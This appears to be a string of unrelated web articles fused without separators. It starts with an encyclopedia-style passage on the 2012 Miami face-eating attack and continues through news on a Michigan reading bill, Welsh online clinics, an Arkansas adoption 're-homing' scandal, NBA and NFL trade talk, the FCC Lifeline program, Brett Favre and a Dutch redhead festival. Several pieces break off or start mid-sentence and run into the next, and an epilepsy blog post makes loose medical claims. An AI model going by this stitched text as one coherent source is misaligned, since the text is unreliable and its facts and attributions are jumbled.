Aftermath [ edit ]
Poppo was admitted to Jackson Memorial Hospital in critical condition, with 75–80% of his face above the beard missing[9][11] and his left eye gouged out.[13] He underwent facial reconstruction surgeries that took months to complete, but he remained permanently disfigured and blind.[14] To help with the costs, a fund was set up and has collected $100,700 since July 17, 2012.[15] Poppo spoke to police, whom he thanked for saving his life, on July 19, explaining that Eugene, whom he hardly knew, approached him in a friendly manner but then, complaining he couldn't "score" at the beach and "souped up on something", started to talk about how they were going to die, accused Poppo of stealing his Bible, and, suddenly and without provocation, attacked and strangled him with wrestling holds, and then "plucked out" both his eyes.[16]
Poppo lost his eyebrows, his nose, parts of his forehead and cheek, and his left eye, and was left totally blind due to the damage to his remaining right eye.[17] He underwent numerous surgeries to repair the damage to his face. After rehabilitation, he put on 50 pounds, and relearned how to dress, feed himself, shower, and shave. He was granted permission to stay at the medical facility indefinitely.[18]
As a result of media attention,[19] the Centers for Disease Control and Prevention (CDC) released a statement saying that the "CDC does not know of a virus or condition that would reanimate the dead (or one that would present zombie-like symptoms)."[20]
Inconclusive toxicology investigation [ edit ]
Although the autopsy revealed no human flesh in Eugene's stomach, a number of undigested pills were discovered that have not been identified.[21] Although police sources had speculated that the street drug "bath salts" might have been involved, preliminary toxicology reports were positive only for the presence of cannabis.[5][22] Authorities did not necessarily find the negative results conclusive; Broward County Sheriff Al Lamberti expressed a belief that some new drug not yet tested for played a role; nationally noted toxicologist Barry Logan said Eugene's behavior was consistent with "bath salts" and that toxicologists "are not testing for everything that may be out there"; and the director of toxicology at the University of Florida, Dr. Bruce Goldberger, said, "We are not incompetent... We have the tools, we have the sophistication and know-how. But the field is evolving so rapidly it is hard for us to keep track. It's almost as if it is a race we can never win."[23]
Perpetrator [ edit ]
Rudy Eugene (February 4, 1981[27] – May 26, 2012)[28] was born at the Jackson Memorial Hospital in Miami, Florida.[27] He was of Haitian descent through his immigrant parents, who divorced months after his birth. Eugene never made contact with his father, who died when he was six.[29] As a child he attended the Bethel Evangelical Baptist Church with his families on most Sundays.[29] Eugene attended North Miami Beach High School in the 10th and 11th grades,[30] and he played on its football team in the late 1990s.[31][32] At the age of 17, he transferred to North Miami High School.[33] After graduating, Eugene acquired money from such sources as selling CDs and jobs at McDonald’s and in telemarketing. His last known employment was washing cars at a local automobile dealership.[34] Eugene had expressed interest in establishing his own mobile car wash business.[34][35]
Eugene's marriage, from 2005 to 2008, ended in divorce, with his wife reporting that there had been domestic violence in the relationship. The divorce was granted on January 8, 2008, and there were no children from their relationship.[36] Eugene was estranged from his ex-wife until his death.[37][38]
Criminal history [ edit ]
Eugene had been arrested eight times since he was 16, with the first arrest being for an assault in 1997.[36][39] On February 25, 2004, Eugene broke a table, smashed items around the house, and pushed his mother out of the kitchen. Afterward, his mother told officers that he had said, "I'll put a gun to your head and kill you." This crime led to his serving probation for resisting an officer without violence.[40] The remaining charges were mainly related to marijuana, which he had expressed a desire to quit.[41] His final arrest was in September 2009.[30][31]
Victim [ edit ]
Ronald Edward Poppo (born May 17, 1947)[6] was born and raised in Brooklyn, New York. He attended Manhattan's prestigious Stuyvesant High School, where he was a member of the Latin Club and worked in the guidance office.[42] A former classmate reported that, after high school, Poppo enrolled at nearby City College but he dropped out in late 1966.[43] Poppo would become homeless in early 1976.[44] On May 24, 2012, two days before the attack, workers from the Miami Homeless Assistance Program discovered him and offered him the services of the Miami-Dade County Homeless Trust. Poppo declined assistance, however.[44]
At the time of the attack, Poppo's family—including his daughter[43]—had not heard from him in over 30 years.[44] During that time, they assumed that Poppo was dead and suspected that he had killed himself.[45] They were shocked to learn he was still alive at the time of the incident.[42] Poppo has since completed treatment and was last residing in a Medicaid facility. He received nutritional and occupational therapy and took up the guitar.[46]
See also [ edit ]Library (Photo: Connel_Design, Getty Images/iStockphoto)
A bill that would require third-graders to be held back if they fall a grade-level behind in reading is now headed to Gov. Rick Snyder's desk.
Members of the state House and Senate voted today to pass the long-stalled, controversial legislation one day after a committee of lawmakers reached a compromise on its language.
The bill lets parents request an exemption to allow their child to go to fourth grade even if he or she falls a grade level behind on the state's third-grade reading assessment, but drops a provision that was in an earlier version that would have allowed the student's principal or reading teacher to request an exemption. There is also an exemption for a student who is new to a school and hasn't yet had time to catch up.
► Related: Why Michigan M-STEP results are cause for concern
Snyder has long identified making sure Michigan kids can read by the end of third grade one of his top education goals.
"The governor will need to review the final version, but this has been one of his priorities and he is happy to see the initiative has moved forward," Snyder spokesman Ari Adler said.
Experts say reading proficiency in the third grade is crucial for a student's academic success. Research shows that students who struggle with reading at that age are more likely to continue struggling throughout their schooling.
► Related: Which Michigan high schools had the top SAT scores?
In the state now, it's up to individual school districts to decide whether to hold back third-graders for lack of reading skills. Some states have turned to strict reading laws in an effort to boost proficiency.
The legislation calls for multiple literacy screenings leading up to third grade and intervention programs for school personnel to help individual students.
If Snyder signs off on it, as expected, the law would become effective for the 2017-18 school year, starting with kindergarten students. Possible retention would not be considered until the 2019-20 school year.
Terry Dangerfield, superintendent of Lincoln Park Public Schools, said the bill isn't perfect, but he's happy that it closely resembles the version passed by the Senate earlier this year. In Lincoln Park, decisions about retention are made by a team that includes parents, teachers, the principal and social workers.
"I am disappointed that they removed... the ability for the teacher and principal to appeal for an exemption, because the teacher and principal work very closely with the students and parents to be able to make those determinations on what's best for the child and the family," he said.
"But there is still a mechanism for the families to be able to appeal, and to be able to have the superintendent review that along with school teams in making that decision."
In the House, the legislation was approved 60-47. The vote in the Senate was 25 in support, 10 opposed and two excused.
If signed into law, Michigan will join at least 16 states that require struggling third-grade readers to be held back and at least 33 states that require or recommend schools offer intervention or remediation for students who are having trouble, according to a 2014 review of states' reading policies by the Denver-based Education Commission of the States.
After the vote, Rep. Adam Zemke, D-Ann Arbor, wrote on Facebook that he has several concerns with the legislation that led him to vote against it. Among them, he said, is his worry that it will disproportionately "retain kids whose parents aren't as active in their educational career."
Over the last several months, lawmakers have struggled with disagreements over who should decide whether students should be held back.
Back in October, the House passed HB 4822, which made it mandatory for third-graders who are more than a grade level behind in reading to be held back. The Senate version of the bill, passed in March on a bipartisan basis and with wide support among educators, was less punitive. It included the parent exemption.
House members balked at the Senate version |
having their registrations looked at by the Welsh health watchdog, the BBC has learned.
Gender GP, an online transgender clinic, and My Web Doctor have applied for registration with Healthcare Inspectorate Wales (HIW).
They are run by Abergavenny-based NHS GP Dr Helen Webberley.
The Welsh Government said all private clinics with a base in Wales must be registered.
HIW said it could not comment on any ongoing cases involving unregistered providers.
A number of websites selling prescription medicines have been reprimanded by the health watchdog in England - the Care Quality Commission (CQC) - after potentially putting patients at risk of harm.
One company has been suspended and another two have had conditions imposed on their registration.
Last month the CQC issued the first clear guidance on the standards it expects from websites selling prescription medications online.
One company, Doctor Matt Ltd, had its registration suspended for six months when the regulator found medications were being prescribed after a patient's application was assessed in only 17 seconds.
The Royal Pharmaceutical Society has warned that regulators outside England need to adopt the same guidelines for inspection to make sure patients are not being put at risk.
Image caption Dr Helen Webberley
Theoretically, companies could move to areas such as Wales with different inspection standards.
Dr Webberley, who is also the registered manager of the Doctor Matt website, said the 17-second prescription was "actually much longer than an NHS repeat prescription" would take to sign.
She said the patient had been on the medication for some time, and declared that their medical history had not changed.
She said there were some "rogue pharmacies", but denied that they included the services she works with.
Dr Webberley said her Welsh-based advice service was up and running before it was registered. But she said she realised it needed to be registered when it became a treatment service.
She added: "I put my application in for registration in September 2016 and I have completely complied with every angle of that."
A Welsh Government spokesperson said: "All private clinics or agencies with a base in Wales must be registered with HIW for the services they provide, regardless of whether it is on a face-to-face basis or online.
"Failure to do so could mean they are committing an offence and may result in action being taken against them".
HIW said while it and and its English equivalent - the CQC - operated under different legislative frameworks, they were both focused on "safe, effective care."
HIW said both bodies shared intelligence about regulated services in both countries.
But a spokesman said it "cannot comment on any ongoing cases involving unregistered providers".The Arkansas Republican state representative who “re-homed” his adopted daughters to a man who raped one of them claims that he and his wife are also victims in this situation and that they only did what they did to avoid being charged with abandonment by the state Department of Human Services.
According to David Badash at the New Civil Rights Movement, Rep. Justin Harris of West Fork, Arkansas released a statement Thursday through his attorneys that claimed that he and his wife Marsha are the victims of “a severe injustice.”
“Rep. and Mrs. Harris have suffered a severe injustice. Due to threats of possible abandonment charges, they were unable to reach out to DHS for help with children who presented a serious risk of harm to other children in their home. Upon the advice of both a psychiatrist and a pediatrician, they were forced to move the children to the home of trusted friends, who had a lot of experience with children with reactive attachment disorder. Rep. and Mrs. Harris are devastated about the outcome of that decision, but faced with no good option, they did the best that they knew how,” said the statement.
In the fall of 2012, Marsha and Justin Harris took in two sisters from the state foster care system. In March of 2013, the couple formally adopted the two girls. Within six months, the Harrises handed the two girls over to Eric and Stacey Francis, without ever consulting the DHS or any other state agency.
Eric Francis raped the elder of the two girls — she was 6 years old at the time — in January of 2014. The Francis family then gave the two girls two a third family, which was where the DHS finally found the children when they attempted to locate them in 2014.
Harris — who is accused of continuing to take state money intended for the girls’ care even after he had given them away — has been avoiding the press, but when KATV News caught up with him outside a committee meeting, he said, “I have a wife and three boys at home, I’ve gotten death threats. The truth is going to come out.”
The lawmaker agreed to do an interview with the TV station later on Thursday to tell his side of the story, but then didn’t show up. According to KATV, Harris was meeting instead with a PR firm.
The DHS told the Arkansas Times that there are many resources available to families who adopt children who have special needs. Spokeswoman Amy Webb told the Times that DHS “can intervene in a number of ways — do they need respite on the weekends? Does the kid really need some inpatient psych services, or additional therapy?”
Webb explained, “If none of that works, then they can come to us and say, ‘We have exhausted all of our available resources. Please, help us. We cannot take care of this child.’ And we will take that child back into custody if the family has exhausted all available resources, and we will do that without any repercussions for the family.”
It does not appear that Harris or his wife ever approached DHS about the difficulties they may have had with the two girls, who were placed in foster care after the older girl was sexually abused by a biological relative.
Harris recently made headlines for attempting to cut off access to all government services for anyone who is unable to prove that they are a U.S. citizen or legal immigrant. The legislator and his wife run a Christian pre-kindergarten school called Growing God’s Kingdom Preschool which receives around $900,000 per year from the government to educate the children of undocumented immigrants and prepare them to enter public school.
Watch video about this story, embedded below:
KATV – Breaking News, Weather and Razorback SportsThe Andrew Bynum suspension and potential trade from the Cleveland Cavaliers has numerous facets especially because Bynum is in a unique position in the league.
There is a lot to consider and digest, but Bynum is a 7-footer, has proved he still can play at some level and has a contract situation that is rare and valuable under certain circumstances. Here's what is in play:
The trade
• Bynum signed a two-year contract for $24.8 million with the Cavs, but only $6 million of it is guaranteed before Jan. 7. After that date, the full $12.25 million this season is guaranteed. Next season's $12.5 million is not guaranteed until July 10.
In short, there is no other contract like this in the NBA at the moment. Not only has Bynum proved in spurts this season that he can be effective, but the Cavs also signed him to a contract that gives them or any team that trades for him lots of flexibility. He can be an instant money saver if the Cavs or a team that trades for him waives him before Jan. 7. He can be a rental for the rest of the season. Or he can be a trade chip heading into the draft and next summer because he can act as a salary purge option.
With so many teams wanting to clear cap space or save on luxury-tax payments now, Bynum will create interest. This involves much of the league, and that's why the Cavs will get plenty of calls in the next week. Whether it equals a deal remains to be seen.
As an example of how Bynum could be used in a deal, the Chicago Bulls are currently about $7.5 million over the luxury-tax line. They could trade free agent-to-be Luol Deng for Bynum and immediately waive him, which would save about $8 million off the cap and get the Bulls out of the tax. Such a trade would save the Bulls almost $20 million in salary and tax payments.
Sources said the Bulls remain determined to hang on to Deng and hope to re-sign him even though the Cavs are interested. This is just how a trade for Bynum might work and what the motivations would be.
• If the Cavs are not able to trade Bynum by Jan. 7 and his contract becomes fully guaranteed, Bynum will most certainly want to be released so he would be free to sign with any team. The Cavs, however, are not assured to do that. Bynum would still be a trade asset from now until July 10 because of how his contract is structured. The Cavs would likely still try to move Bynum by the Feb. 20 trade deadline.
If Bynum is traded and waived, there would be plenty of interest in him as a free agent. The Los Angeles Clippers and Miami Heat are two teams on the lookout for size. Even with Greg Oden's long-term project in Miami, Bynum is much farther along in his recovery and would likely entice the Heat if they could clear a roster spot.
• Several times this season, Bynum has mentioned he is not sure how much longer he wants to play because of lingering pain in his knees. There is a chance he could retire in the near future.
However, while he often sounds pessimistic in interviews, his actions show something different. He was highly engaged in workouts and rehab after signing with the Cavs. He lost more than 25 pounds and diligently worked to build his stamina. Less than a month into the season, the Cavs doctors cleared him to start playing in back-to-backs, a strong signal he was improving.
Though he's been inconsistent and struggled with his shot, Bynum has four games where he's scored 15 or more points and nine where he's had seven or more rebounds. Those types of players at his size are extremely rare.
• No other team offered Bynum a contract that even had the $6 million guaranteed the Cavs offered him last summer. Part of that was concern over his attitude and his knees, and this washout in Cleveland does not help that reputation. Getting Bynum at a prorated cost, especially if he becomes a free agent, is another matter entirely.
If Bynum wants to keep playing, he will have numerous options.
The suspension
• Bynum most likely has played his final game for the Cavs, though it is possible he will be on the roster for months and get paid. The Cavs can't suspend him without pay for the rest of the season for conduct detrimental to the team.
• Bynum has been sulking recently because his playing time and touches have dwindled even as he's at times showed he can still be a significant contributor. During the Cavs' double-overtime loss Thursday to the Atlanta Hawks, Bynum was benched in the third quarter and never returned. He spent the rest of the night at the end of the bench and appeared to be sulking.
• On Friday, Bynum met with coach Mike Brown, sources said. It isn't clear what happened in that meeting, but it's possible he was told the Cavs might go a different direction with the big man's minutes. Afterward, the Cavs decided to suspend Bynum and not take him on their team flight to Boston on Friday afternoon. By Saturday, the team had him on the trade block.
• Bynum has a point and so do the Cavs. The team's guards generally did a poor job of getting him the ball consistently, even when he was running hot. Guard Kyrie Irving openly admitted he had never played with a post player like Bynum and didn't know how to best take advantage of it. There were games when Bynum was dominating his man but couldn't get a pass in position or with any time on the shot clock.
Meanwhile, Bynum wasn't able to move well enough on his knees to help the Cavs defensively most of the time. He shot just 42 percent when he did get the ball, as he clearly was trying to adapt to shooting without having any lift. The plus-minus numbers showed the Cavs were better when Bynum did not play.
• Irving has been branded a ball hog by teammates and fans this season. At times this is undoubtedly true; Irving tends to try to do everything by himself in a trait that is common with inexperienced but talented players.
However, the Cavs haven't helped him out by playing big men who are effective pick-and-roll players with him. Bynum, Anderson Varejao and Tristan Thompson are all limited shooters, and opposing teams have attacked Irving with double-teams and blocked passing lanes. One of the reasons the Cavs may have been moving away from Bynum is because they want to play young big men Tyler Zeller and Anthony Bennett more. Both are jump shooters who could be a better match with Irving and guard Dion Waiters.You might be surprised to hear it, but according to recent research, epilepsy and diabetes have more in common than we thought.
The key commonality is fluctuating blood sugar. People with hyperglycemia tend to have focal or local seizures. And those who are hypoglycemic, tend to have tonic-clonic seizures…
Although some patients and even some doctors disagree, there’s really not much difference between a diabetic seizure and other forms of seizures, such as those caused by epilepsy. While the symptoms are generally the same — there is one very significant difference — the blood sugar irregularities which can cause a diabetic seizure can also cause the diabetic patient to lapse into a coma.
One dilemma facing both types of seizures are their origin. If the seizures are caused by blood sugar fluctuations, treatment with anti-seizure drugs which address electrical impulses in the brain are addressing the wrong problems.
Yet we all know that diet plays an important part in controlling epilepsy.
Interestingly enough, initial testing shows that a diabetes drug widely used to help diabetics manage their condition could also become recognized as an effective and secure way of treating epilepsy. According to reports, Metformin (brand name Glucophage) could be particularly useful in treating those epilepsy patients who are drug resistant.
Glucophage, a popular oral drug for type 2 diabetes, helps lower blood sugar levels by improving the way the body handles insulin. Much like the Ketogenic Diet which treats epilepsy by minimizing levels of dietary starch and sugar.
A team headed up by Dr. Avtar Roopra found that Glucophage was able to turn on a molecule that regulates energy, and then found that they could suppress over-active nerve cells by inhibiting the transfer of sugar into excess energy. The goal is to reduce the rate of epilepsy but not enough to affect the brain’s ability to learn and remember.
Further research is continuing, but what has shown as a successful treatment for diabetes could also bring new hope to those with epilepsy. I’d call that a win-win for the two “kissing cousins!” Phylis Feiner Johnson www.epilepsytalk.com
Resources:
http://www.dlife.com/dLife/do/ShowContent/inspiration_expert_advice/expert_columns/garnero_0605.html
http://www.diabeticlive.com/articles/302/1/What-You-Should-Know-About-Diabetic-Seizures/Page1.html
http://www.diabetes.org/news-research/news/diabetes-in-the-news/combo-pill-an-option.html
http://www.ncbi.nlm.nih.gov/pmc/articles/PMC387262/
http://my.epilepsy.com/blogentry/980548
http://www.diabetes.co.uk/news/2008/Apr/Diabetes-drug-could-hold-epilepsy-treatment-potential.htmlWASHINGTON, May 28 (Reuters) - The top U.S. communications regulator on Thursday revealed a plan to expand a government phone subsidy program for low-income Americans to begin covering broadband Internet access.
The Federal Communications Commission is expected to vote on June 18 to begin the process of revamping the $1.7 billion program, called Lifeline, which has helped poorer Americans get access to telecommunications technologies since 1985.
FCC Chairman Tom Wheeler wants to give those receiving the subsidy a choice of using it for phone services, high-speed Internet, or both. The program helps about 12 million U.S. households afford landline and mobile phones, according to agency estimates.
"As communications technologies and markets evolve, the Lifeline program also has to evolve to remain relevant," Wheeler said in a blog post. "Broadband is key to Lifeline's future."
The FCC estimates that some 95 percent of U.S. households with incomes of $150,000 have access to high-speed Internet, while less than half of households with incomes lower than $25,000 have Internet access at home.
The latest changes to Lifeline seek to bridge the digital divide for poorer Americans as companies routinely require basic digital literacy skills and Internet access becomes increasingly important for healthcare, financial planning or education.
The subsidy is currently available to households with an income at or below 135 percent of the federal poverty line, or receive federal assistance through other programs such as food stamps or Medicaid.
It is funded through fees paid by landline and cellphone users and offers each eligible household $9.25 a month. The new plan does not propose changes to the funding cap.
Nonetheless, the proposals are likely to spark a new round of political battles of the Lifeline program, which has faced criticisms for its history of fraud and abuse, often by individuals and small telephone companies.
Republicans, who in recent years have referred to Lifeline as "Obamaphone" program, have fought to shut it down for being too wasteful.
Wheeler's proposal aims to address some concerns, seeking comments on how best to ensure that those receiving financial support are the ones who need it most, for instance by putting third parties instead of phone companies in charge of deciding eligibility.
The proposal also seeks comments on how the FCC can encourage more providers to participate in the program and suggests increasing minimum standards for phone and Internet service that low-income users receive through Lifeline.It is an ugly truth in sports that no matter what is happening off the field, the game always goes on.
Aaron Hernandez being released by the New England Patriots and arrested in a matter of minutes on Wednesday is just the first step in what is surely going to be a long process for the former NFL player. While what happens with Hernandez will be decided in court, the reality is that the Patriots now find themselves without one of their best players, and someone who was key in their offensive attack.
When the dust settles from the Hernandez saga, the Patriots are going to need to replenish their tight end position. With Hernandez gone and Rob Gronkowski recovering from surgery, the Patriots suddenly find themselves in desperate need of a tight end.
Which brings us to the Eagles.
If there are two positions the Eagles are deep at, it is tight end and quarterback. They have veteran Brent Celek, newcomer James Casey, rookie Zach Ertz, and backup Clay Harbor. Even with Celek returning as the starter (penciled in at least), the Eagles should spread the ball among between Celek, Ertz and Casey. Despite Chip Kelly planning to use a lot of two tight end sets, the Eagles don't need to carry all four on the roster, and likely won't.
It has been well-documented that Kelly and Patriots coach Bill Belichick have a close relationship, with the two planning to practice together this summer. Kelly has also talked about meeting with Belichick frequently during his time at Oregon. Could they make a deal?
It is unlikely that the Eagles would be open to moving either Ertz or Casey, but Celek and Harbor figure to be two players they would move if the price is right. In Celek, the Patriots would get a veteran starter who has proven to be a threat in the passing game. He is not as athletic as Gronkowski or Hernandez, but they could certainly do worse when it comes to pass-catching tight ends. Harbor is probably the more athletic of the two, and while he isn't as proven as Celek, he certainly has some upside.
The reality also is that both Celek and Harbor probably could be had for cheap. Celek was inherited by Kelly, not hand picked like Ertz and Casey. If the Patriots called and offered a mid-round pick, it's likely the Eagles would at least listen.
It is all speculation at this point, with the real news involving Hernandez still yet to play out.
Once the Patriots get back to football, however, don't be surprised if the Eagles are one of the first teams they call.
Follow Eliot Shorr-Parks on Twitter at @EliotShorrParksI got a message from my Santa saying that she was "inspired by my profile." I truly had no idea what to expect. I love surprises, and I was not disappointed when I received my gift.
Inside of the box was a note telling me that she decided my color was white. She then went on to say she knows I collect mugs, so she wanted to add to my collection. I love when people actually take the time to read about me, and find things that are suited to my personality.
The first gift I pulled out of the box is this absolutely adorable stuffed kitty. It is super soft, and adorable. I am a cat lover (we have three) and this stuffed kitty certainly resembles what my Siamese cat looked like when he was a baby.
I opened the box, and couldn't stop laughing. The mug, as you can see, says "Show me your kitties." The person on Etsy that made that is quite clever. It makes a fabulous addition to my awesome mug collection!
Thank you Santa! I absolutely LOVE what you chose for me. <3Growing up as a sports fan in Wisconsin gave a lot of us some great memories to remember by. Older fans have the Bucks entertaining run to the Eastern Conference Finals in 2001. Or even the 2010 “Fear The Deer” team that took us on a wild ride that eventually fell short in the first round. But who could ever forget the magical performances that C.C. Sabathia put together to lead the Brewers to their first playoff appearance in 27 years. We could never forget the 2011 Brewers club that featured Ryan Braun and Prince Fielder as the muscle with the energetic Nyjer Morgan pumping all of us up. But most of all, Wisconsin sports fans grew up watching the inspiring and emotional player known as Brett Favre. This weekend, Favre will be entering the NFL Hall of Fame as a First Ballot member after playing 20 years in the league. Those 20 years were a historic, incredible run that Packer fans everywhere had the pleasure of following. Favre finished his career as the all-time leader in passing touchdowns, passing yards, pass completions, pass attempts, starts by a player, and wins by a quarterback. Most impressive out of all those accomplishments though, is his NFL record of 297 consecutive starts streak. A record like that is something that can inspire a legion of fans all across the country. That’s exactly what Favre did.
Nobody ever saw it coming, but game 3 of the 1992 Packers season proved to be a landmark point in the historic franchise’s history. Before Favre was traded to the team in 1992, the Packers were at a low point in their history. The team struggled heavily through the years after being one of the dominant teams at the start of the Super Bowl era in 1960. In that game the Packers’ starting quarterback, Don Majkowski went down with an injury. The injury led to the young, and relatively unknown Favre entering the game where he led the Pack to a comeback victory and thus started the legend of number 4. Favre eventually catapulted into superstardom and revitalized Green Bay to the powerhouse we know it as today. Favre won three NFL MVP awards during his 15 year run with the team and went to two Super Bowls with the team where he became a champion at Super Bowl 31. Brett Favre single handedly saved the Green Bay Packers and made Lambeau Field what it is today. He led us on an ever eventful roller coaster where we experienced every emotion you possibly can as a fan. When Brett Favre returned to Green Bay last summer, it was the homecoming that Favre and the Packer fans needed. Coming home to be inducted into the Packers Hall of Fame was a sign of moving on from all of the drama that ensued near the end of the quarterback’s legendary career. In front of a sold out Lambeau Field, Favre couldn’t hold back his emotions, but neither could the fans. Bringing our hero back home where he belonged brought back all of the great memories everyone cherished. The start of his Packer career, bringing the Lombardi Trophy home, beating up the Bears like no one else could, breaking records, making the game fun, and many many more.
Kids all across the state grew up idolizing the Hall of Fame quarterback. Going out in the yard with their green #4 jerseys and throwing the football around with their friends imitating all of the gunslingers moves. Sure, we are living in the moment of Aaron Rodgers right now, who many call the best QB in the game right now. But the things Rodgers does on the field are unreal. They’re things that no one has ever seen before which makes Rodgers a superhero like presence to fans. Brett Favre, well he was just a regular, blue collar guy like all of us. He went out there every Sunday and gave it his all doing it in a way that only Brett could. People saw themselves in Brett, which made it very easy to relate to him. You could go out and play a game and do the things that Brett was doing every week. The crazy pass attempts, the running around looking for a target, messing around with your buddies and having fun like he was. He meant so much to the state of Wisconsin and they adopted him as one of their own. When he was going through his tough times battling addiction, everyone was there for him and had his back through all of it. Much like all of us, he had a time of struggle and needed help. He was more than just the hero the struggling Green Bay franchise needed. He was one of us, with human issues he had to resolve. When his father passed away in 2003, Favre did what was best for himself. He went out to the “Black Hole” in Oakland and had the game of his life with his father watching from above. We all sat right there with him watching along on Monday Night Football and showed our emotional support for Brett. It was almost as if we lost one of our own. That’s how much we valued Brett, and that’s how close we were to him.
This Saturday when Brett Favre goes into the NFL Hall of Fame, all of us will be right there with him. Like we always have been. We’ll bring out our favorite Favre jersey, think of all of the good times and ride the wave of emotions that only Brett could take us on.By Clare Spencer
Breda, Netherlands
The idea of a ginger festival may sound like little more than a bit of fun, but when 3,000 redheads came together for a recent gathering it became a bonding experience. Bart Rouwenhorst steps on to his crane and slowly rises above his ginger empire. A sea of redheads all dressed in white look up from the park below and follow his instructions to wave at the 20 or so photographers and cameramen. The photo shoot is the culmination of celebrations for Redhead Day - an annual day - which has spilled across a weekend - to mark all things ginger, paid for by the local government in Breda, a city in the south east of the Netherlands. Please turn on JavaScript. Media requires JavaScript to play. But for its founder, Mr Rouwenhorst, who is notable for his blond rather than ginger locks, it is the pinnacle of his efforts so far to champion the ginger-hued among us. A mechanical engineer by day, Mr Rouwenhorst is also an amateur painter and it's this sideline which first awoke his interest in those of fair skin and flame hair. Finding himself drawn to the aesthetic qualities of redheads, he advertised for 15 ginger models to paint - only to be deluged with e-mail responses. The 15 turned into 150, whom he photographed. But when many of those who didn't get selected voiced their disappointment, Mr Rouwenhorst decided to make an annual event of the redhead gathering. Five years on, it has grown into a huge festival of ginger self-affirmation, overtaking the city centre for one weekend every September. "We have families with children, we have older people who were teased as children and then we have many proud women who come to the festival. They know they are fantastic and they just come to feel great." Driven out The promise of this amber spectacle also appeals to the more muted-mopped mainstream - with an estimated 7,000 non-redhead spectators attending. Strength in numbers - many redheads find the festival empowering But the initiative is firmly with the redheads. And there is much common ground. Men and women sporting a spectrum of ginger, from strawberry blonde to rich ochre, swap stories of being picked on in the playground, discrimination in the wider world - a family in Newcastle claimed they were driven from their home because of anti-ginger abuse in 2007 - and the whys and wherefores of raising a ginger brood. Walking round the city, redheads smile and laugh with one another. Since this is a celebration of gingerism, an army of hairdressers, makeup artists and cameramen have been drafted in to prepare for the fashion shoot, treating redheads like celebrities. The dermatologist's class - redheads tend to have very fair skin - is so popular it has to move to the main part of Breda's cathedral to accommodate all those who want to attend. Mr Rouwenhorst marvels at the innate connection between members of one of the most genetically distinctive yet disparate groups in the world. "When people come together as redheads, they just look at each other," he says. "They have a certain bond. And I think this whole event will some day expand to multiple events, maybe across the world. I think the ginger community will start." Strong people It's a far-sighted pronouncement. Do people with red hair really want to seek out the company of those with similar colouring? This exclusive community is already functioning and making money for Brigitte van Hengel. She runs a ginger modelling agency and is looking to add a ginger-only theatre company. Whether or not to raise a ginger brood - one topic of conversation Ms van Hengel, whose reddish locks are somewhat faded, seeks out redheads not just for their aesthetic qualities - but their character traits too. Most have had to put up with bullying, she says, which in turn has made them strong and proud characters. Behind the scenes at the fashion show civil servant Anneloes Rynders is preparing for the catwalk. While being sown into her dress by the designer Marian Kastelein, she tells a story of an uncomfortable childhood that is shared by many at the festival. "In my youth it wasn't nice to be different. It changed around the age of 16 or 17. I got more confidence, I went out and got attention - because I'm a redhead. I stopped being ashamed. It's actually nice to stand out in a crowd." Ms Rynders prefers being unusual and doesn't like the idea of an exclusively ginger community. However, she is disappointed that none of her children has ginger hair, so welcomes the idea that such a place may spawn more ginger offspring. Alan Petrie has travelled from Aberdeen to research the possibility of starting a ginger community in Scotland. Curiosity drove him to the event but he is going away with a sense of belonging. Please turn on JavaScript. Media requires JavaScript to play. "I came here because I wanted to see if people with red hair would like to meet each other - we could take that back home and see if it worked on a more local level. I think redheads do enjoy being together and not being the odd one out." He is particularly concerned about discrimination against his ilk, which he thinks isn't taken seriously. "After an anti-ginger South Park episode, Kick a Ginger Day started in Canada and someone was seriously hurt. When it was revealed that one of the Big Brother contestants was dying his hair and underneath he was ginger he got shouted abuse I can't repeat, when he was evicted. If he was black the people shouting this would have been arrested." Ironically, claims of racial discrimination were also invoked when Mr Rouwenhorst investigated the possibility of getting his festival noted in the Guinness World Records. Redheads, he was told, were considered a minority by its editors, who will not record events based on racial characteristics. Certainly, there's little taste for any sort of genetic purity at the event. The majority of redheads appear happy to accommodate those of the brown, black and fair-haired persuasion. Even the organisers insist that cafes don't restrict their free drink offers to natural redheads - but include those who dyed their hair for the day. So has this year's festival helped foster a sense of ginger belonging? Thorger Enge Herrara, who grew up in Mexico, says redheads are so unusual in his homeland that when he sees one they exchange pleasantries and he buys them a drink. "It doesn't happen so often. It's not a community where I'm from because it's so rare." For this weekend, though, Mr Herrara is understanding what it's like to be one of a crowd rather than a curiosity. Below are a selection of your comments. I used to be called "Ginger" when I was being made fun of, but three years ago I adopted it as my nickname and now I encourage people to call me Ginger instead of my real name. I hope that this festival will spread to North America and that we too, here in Canada, give Kick a Ginger Day a "kick" in the rear and replace it with Ginger Fest.
Ginger, Vancouver, Canada There is a serious point underlining all this. It's easy to make derogatory comments about someone with ginger hair. But what if the same comment were aimed at someone with black skin?
Celine Hagbard, London, England It is true that when I see another ginger there is a connection. You know that they grew up like you, being picked on, being self-conscious, being different, and are now stronger for it.
Kristil Baker, Lake Arrowhead, CA USA I'm a 13 year old red-head (and I often get picked on for it) and I think this is a fantastic idea. All my life I've been told by my peers I should be embarrassed by my red hair and people say they avoid me as they don't want to get 'gingivitis'. I would never change my hair colour, I love to stand out from the crowd so does every red head I think. Ellie, England My red hair has gone from a bright ginger to an almost sandy blonde over the years. Even though I was horribly bullied as a child I kind of miss being red.
Danny Wiltshire, Bath I'm a redhead and would love it if there were a ginger fest here. I would definitely go and celebrate with all of the other proud, confident gingers.
Amy Klous, Twin Cities, MN USA It is so funny because of the surreal nature of the discrimination portrayed.
Andre, Amsterdam My own very beautiful little girl has long thick locks of red hair that started from birth and I couldn't be prouder. I would love to bring her to an event like this some day.
Jeri Polacek, Madison, WI USA When I was younger I was ginger and during my first few years at school I was bullied because of it. I have got darker as I grew older but have always been attracted to red heads and I am looking to find a partner with red / ginger hair.
Teddy, Oxford, England I wish I had known about this. I love being a redhead and am interested in speaking out for my people.
Polly Annabelle Snell, Bristol Isn't picking on Redheads a form of racial abuse? It's all down to genetics - and therefore I wonder why it seems to be socially acceptable to ostracise a subset of out population?
Ben Marshalsea, Bristol The very fact that the BBC considered this story worthy of a light-hearted piece like the one above (instead of, say, a proper news item) suggests that they don't take this very seriously either.
Michael, Edinburgh When I was young I hated having red hair. At one point I wouldn't date a really nice young man because he had red hair and I thought I might like him, get married and have redheaded kids.
Ann Sell, Ft Myers FL USA Surely the notion of a "redhead community" will only further attach more prejudice towards the world's gingers.
Mark Spencer, Dundee All I see is "gingers are so down-trodden" in the media. Truth is, as with anything rare and distinctive, it is both revered and feared in extremes. Regardless of the admiration and scorn I have received for my red hair colour, I am confident enough within myself to not to let other peoples attitudes towards my hair colour effect my self esteem either way.
Elle, Cardiff
Bookmark with: Delicious
Digg
reddit
Facebook
